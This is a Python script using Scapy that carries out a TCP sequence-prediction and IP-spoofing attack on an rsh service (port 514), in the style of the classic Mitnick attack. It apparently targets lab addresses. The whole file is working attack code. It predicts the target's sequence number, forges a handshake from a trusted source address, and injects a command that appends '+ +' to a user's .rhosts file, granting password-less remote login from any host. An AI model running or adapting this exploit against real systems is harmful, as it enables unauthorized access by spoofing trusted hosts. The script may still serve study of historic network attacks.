from scapy.all import *
import sys

lseq = 100 	#Local sequence number
sport = 900	#Source port during spoofing
dport = 514	#Destination port during spoofing
sleeptime = 2 	#Time to sleep between packets

#
# Obtains the next ack value for the next SYN/ACK from dst (X-TERM prediction)
#
def getNextACK(dst):        
        i=IP(dst=dst)	
        t = TCP(dport = 514, sport = 514, flags="S")       
        ans = sr1(i/t, verbose=0)
        print "[+] Received SEQ %d" % ans[TCP].seq	
	return ans[TCP].seq + 128000 + 1


#
# Sends the payload with source src to destination dst.
# Assigns ack to predack.
# payload is the payload sent to dst
#
def sendPayload(src,dst,predack,payload):
	global lseq, sport, dport, sleeptime		
	ipLayer=IP(src=src,dst=dst)
	tcpLayer = TCP(sport=sport, dport=dport, seq=lseq,ack=predack, flags="PA")
        pkt = ipLayer/tcpLayer/payload
	#pkt = ipLayer/tcpLayer/Raw(load=payload)
        print "\t[*] Send payload %s" % payload
	print "\t\t[*] Sent %d bytes" % len(payload)
	print "\t\t[*] Sequence number sent %d" % lseq
        send(pkt,verbose=0)
        lseq += len(payload)
        time.sleep(sleeptime)

#
# Spoofs the connection between src and dst
# We require a correct predicted ACK in order to spoof the connection between the server and X-TERM
#		
def spoofConn(src,dst,predack):
	global lseq, sport, dport, sleeptime

	#Send SYN
	print "\t[*] Send spoofed SYN"
	ipLayer=IP(src=src,dst=dst)
	tcpLayer = TCP(sport=sport, dport=dport, seq=lseq, flags="S")
	pkt=(ipLayer/tcpLayer)
	send(pkt,verbose=0)
	lseq += 1
	time.sleep(sleeptime)
	
	#Send ACK
	print "\t[*] Send spoofed ACK"
	tcpLayer = TCP(sport=sport, dport=dport,ack=predack,seq=lseq, flags="A")
	pkt=(ipLayer/tcpLayer)
	send(pkt,verbose=0)	
	time.sleep(sleeptime)
	
	print "[+] Connection spoofed..."


src = "10.10.0.1"
dst = "172.16.10.1"
print "[+] Getting SEQ number for: %s" % dst
predseq = getNextACK(dst)
print "[+] Next ACK is: %d" % (predseq)
print "[+] Exploiting rlogin"
spoofConn(src,dst,predseq)
sendPayload(src,dst,predseq,"\0")
sendPayload(src,dst,predseq,"tsutomu\0")
sendPayload(src,dst,predseq,"tsutomu\0")
sendPayload(src,dst,predseq,"echo + + >> /home/tsutomu/.rhosts\0")
#sendPayload(src,dst,predseq,"tsutomu\0tsutomu\0echo ++ >> /home/tsutomu/.rhosts\0")
